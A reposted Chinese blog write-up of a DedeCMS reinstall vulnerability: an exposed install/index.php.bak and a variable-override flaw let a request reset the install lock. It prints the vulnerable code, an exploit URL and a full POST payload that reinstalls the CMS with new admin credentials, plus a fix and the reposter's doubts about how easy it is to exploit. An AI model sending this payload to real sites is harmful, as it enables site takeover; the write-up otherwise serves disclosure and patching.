zoukankan      html  css  js  c++  java
  • 织梦重装漏洞其实并不是那么好利用

    这个重装漏洞的危害大家应该也知道,我就不多说了,估计又要一批站躺枪了,利用条件是webserver要求是存在apache解析漏洞和install文件夹存在。

    利用截图:

    Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成PHP执行的。

    看看/install/index.php.bak代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    $verMsg= ' V5.7 GBKSP1';
    $s_lang= 'gb2312';
    $dfDbname= 'dedecmsv57gbksp1';
    $errmsg= '';
    $install_demo_name= 'dedev57demo.txt';
    $insLockfile= dirname(__FILE__)。'/install_lock.txt';
    $moduleCacheFile= dirname(__FILE__)。'/modules.tmp.inc';
    define('DEDEINC',dirname(__FILE__)。'//include');
    define('DEDEDATA',dirname(__FILE__)。'//data');
    define('DEDEROOT',preg_replace("#[\\/]install#", '', dirname(__FILE__)));
    header("Content-Type: text/html; charset={$s_lang}");
    require_once(DEDEROOT.'/install/install.inc.php');
    require_once(DEDEINC.'/zip.class.php');
    foreach(Array('_GET','_POST','_COOKIE'as$_request
    {
    foreach($$_requestas$_k=> $_v) ${$_k} = RunMagicQuotes($_v);
    }
    require_once(DEDEINC.'/common.func.php');
    iffile_exists$insLockfile))
    {
    exit" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
    }
    ifempty$step))
    {
    $step= 1;
    }

    其中$insLockfile = dirname(__FILE__)。’/install_lock.txt’;是安装锁文件。在下面的

    if(file_exists($insLockfile))
    {
    exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
    }

    这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,

    关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。

    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
    }

    这个是注册变量,如果存在变量就直接覆盖了。

    所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。

    利用演示:

    直接POST数据到这个URL

    http://www.cnseay.com/dedecms/install/index.php.bak?insLockfile=1&step=4

    就OK了

    POST数据:

    step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms

    其中的dbhost啥的东西自己改改吧,

    提交数据包。效果如下

    重装了……我是良民

    批量EXP就不写了,要玩的自己搞吧,exp google搜索批量,估计dedecms的站要废一大半。

    解决方式:

    删除install/install.php.bak 或者 改名为install/install.bak

    以 上是从网络上摘录的,其实要利用这个漏洞并不是那么容易,这边就涉及到了两个地方需要我们自己去通过别的途径是获取,一个就是该网站的数据库帐号和密码, 另一个就是该网站的数据库名,否则就算你重新安装了也是不可能覆盖掉以前的数据库的,只能说是重新在该服务器上面创建了一个数据库,其实要获取到网站的数 据库帐号和密码还是具有一定的难度的。不知道说得对不对,不对的可以指出,一起讨论一起进步。

    本文出自 “庄金辉的个人博客” 博客,请务必保留此出处http://putian.blog.51cto.com/1722818/1232280

  • 相关阅读:
    window.open 子窗口关闭刷新父页面
    window.open打开新窗口报错ie 位指明错误,原因是window没有加引号!
    ORA-22922: 不存在的 LOB 值 可以使用外层嵌套wm_concat()解决
    子窗口打开父窗口
    页面加载时触发事件
    json
    orcale 函数wm_concat不存咋lob值使用zh_concat 替换
    mongo常见错误
    mongo中插入数据,出现id重复
    cpu占用率
  • 原文地址:https://www.cnblogs.com/zhuangjinhui/p/3161978.html
Copyright © 2011-2022 走看看